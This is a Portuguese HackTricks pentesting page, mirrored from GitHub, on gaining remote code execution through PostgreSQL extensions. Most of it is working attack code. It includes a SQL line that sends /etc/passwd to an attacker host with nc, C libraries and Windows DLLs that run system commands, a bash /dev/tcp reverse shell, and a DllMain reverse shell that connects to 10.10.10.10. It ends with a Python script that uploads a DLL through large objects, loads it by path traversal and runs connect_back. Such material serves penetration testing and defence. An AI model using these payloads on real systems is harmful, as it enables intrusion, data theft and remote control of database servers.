2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-23 19:43:31 +00:00
hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
2023-06-06 18:56:34 +00:00

16 KiB

RCE com Extensões PostgreSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Extensões PostgreSQL

O PostgreSQL foi projetado para ser facilmente extensível. Por esse motivo, as extensões carregadas no banco de dados podem funcionar como recursos integrados.
As extensões são módulos que fornecem funções, operadores ou tipos extras. São bibliotecas escritas em C.
A partir do PostgreSQL > 8.1, as bibliotecas de extensão devem ser compiladas com um cabeçalho especial ou o PostgreSQL se recusará a executá-las.

Além disso, tenha em mente que se você não sabe como fazer upload de arquivos para a vítima abusando do PostgreSQL, você deve ler este post.

RCE no Linux

O processo para executar comandos do sistema a partir do PostgreSQL 8.1 e anteriores é direto e bem documentado (módulo Metasploit):

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Escrever arquivo binário a partir de base64

Para escrever um arquivo binário em postgres, pode ser necessário usar base64, isso será útil para esse propósito:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
    $$
    DECLARE
        fh int;
        s int;
        w bytea;
        i int;
    BEGIN
        SELECT open(textout(file)::cstring, 522, 448) INTO fh;

        IF fh <= 2 THEN
            RETURN 1;
        END IF;

        SELECT decode(s, 'base64') INTO w;

        i := 0;
        LOOP
            EXIT WHEN i >= octet_length(w);

            SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

            IF rs < 0 THEN
                RETURN 2;
            END IF;

            i := i + 1;
        END LOOP;

        SELECT close(fh) INTO rs;

        RETURN 0;

    END;
    $$ LANGUAGE 'plpgsql';

No entanto, ao tentar executar no PostgreSQL 9.0, o seguinte erro foi exibido:

ERROR:  incompatible library /lib/x86_64-linux-gnu/libc.so.6: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Este erro é explicado na documentação do PostgreSQL:

Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, depois de ter incluído o cabeçalho fmgr.h:

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

Portanto, para versões do PostgreSQL desde 8.2, um invasor precisa aproveitar uma biblioteca já presente no sistema ou fazer upload de sua própria biblioteca, que foi compilada contra a versão principal correta do PostgreSQL e inclui esse bloco mágico.

Compilar a biblioteca

Antes de tudo, você precisa saber a versão do PostgreSQL em execução:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

As principais versões devem corresponder, então neste caso, compilar uma biblioteca usando qualquer 9.6.x deve funcionar.
Em seguida, instale essa versão em seu sistema:

apt install postgresql postgresql-server-dev-9.6

E compile a biblioteca:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

Em seguida, faça o upload da biblioteca compilada e execute comandos com:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Você pode encontrar essa biblioteca pré-compilada para várias versões diferentes do PostgreSQL e até mesmo pode automatizar esse processo (se tiver acesso ao PostgreSQL) com:

{% embed url="https://github.com/Dionach/pgexec" %}

Para mais informações, leia: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

RCE no Windows

A DLL a seguir recebe como entrada o nome do binário e o número de vezes que você deseja executá-lo e o executa:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
	/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

	/* retrieve the second argument that is passed to the function (an integer)
	that will serve as our counter limit*/

	int instances = PG_GETARG_INT32(1);

	for (int c = 0; c < instances; c++) {
		/*launch the process passed in the first parameter*/
		ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
	}
	PG_RETURN_VOID();
}

Você pode encontrar a DLL compilada neste arquivo zip:

{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}

Você pode indicar para esta DLL qual binário executar e quantas vezes executá-lo, neste exemplo ele executará calc.exe 2 vezes:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Aqui você pode encontrar este reverse-shell: aqui

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
 
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
 
#pragma comment(lib,"ws2_32")
 
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
 
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
 
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
                    _In_ DWORD fdwReason,
                    _In_ LPVOID lpvReserved)
{
    WSADATA wsaData;
    SOCKET wsock;
    struct sockaddr_in server;
    char ip_addr[16];
    STARTUPINFOA startupinfo;
    PROCESS_INFORMATION processinfo;
 
    char *program = "cmd.exe";
    const char *ip = PG_REVSHELL_CALLHOME_SERVER;
    u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
 
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    wsock = WSASocket(AF_INET, SOCK_STREAM,
                      IPPROTO_TCP, NULL, 0, 0);
 
    struct hostent *host;
    host = gethostbyname(ip);
    strcpy_s(ip_addr, sizeof(ip_addr),
             inet_ntoa(*((struct in_addr *)host->h_addr)));
 
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(ip_addr);
 
    WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
              NULL, NULL, NULL, NULL);
 
    memset(&startupinfo, 0, sizeof(startupinfo));
    startupinfo.cb = sizeof(startupinfo);
    startupinfo.dwFlags = STARTF_USESTDHANDLES;
    startupinfo.hStdInput = startupinfo.hStdOutput =
                            startupinfo.hStdError = (HANDLE)wsock;
 
    CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
                  NULL, NULL, &startupinfo, &processinfo);
 
    return TRUE;
}
 
#pragma warning(pop) /* re-enable 4996 */
 
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
 
PG_FUNCTION_INFO_V1(add_one);
 
Datum dummy_function(PG_FUNCTION_ARGS)
{
    int32 arg = PG_GETARG_INT32(0);
 
    PG_RETURN_INT32(arg + 1);
}

Observe que neste caso o código malicioso está dentro da função DllMain. Isso significa que, neste caso, não é necessário executar a função carregada no postgresql, apenas carregar a DLL irá executar o shell reverso:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE nas versões mais recentes do PostgreSQL

Nas últimas versões do PostgreSQL, o superusuário não pode mais carregar um arquivo de biblioteca compartilhada de qualquer lugar além de C:\Program Files\PostgreSQL\11\lib no Windows ou /var/lib/postgresql/11/lib no *nix. Além disso, este caminho não é gravável pelas contas NETWORK_SERVICE ou postgres.

No entanto, um superusuário autenticado do banco de dados pode gravar arquivos binários no sistema de arquivos usando "objetos grandes" e, é claro, gravar no diretório C:\Program Files\PostgreSQL\11\data. A razão para isso deve ser clara, para atualizar/criar tabelas no banco de dados.

O problema subjacente é que o operador CREATE FUNCTION permite uma travessia de diretório para o diretório de dados! Então, essencialmente, um invasor autenticado pode escrever um arquivo de biblioteca compartilhada no diretório de dados e usar a travessia para carregar a biblioteca compartilhada. Isso significa que um invasor pode obter execução de código nativo e, como tal, executar código arbitrário.

Fluxo de ataque

Em primeiro lugar, você precisa usar objetos grandes para fazer upload do dll. Você pode ver como fazer isso aqui:

{% content-ref url="big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

Depois de ter carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Nota que não é necessário adicionar a extensão .dll, já que a função create irá adicioná-la.

Para mais informações, leia a publicação original aqui.
Nessa publicação, este foi o código usado para gerar a extensão do postgres (para aprender como compilar uma extensão do postgres, leia qualquer uma das versões anteriores).
Na mesma página, foi fornecido um exploit para automatizar essa técnica:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
    print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
    print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
    d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
    start = i * 2048
    end   = (i+1) * 2048
    if i == 0:
        sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
    else:
        sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
    end   = (i+1) * 2048
    sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
    sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥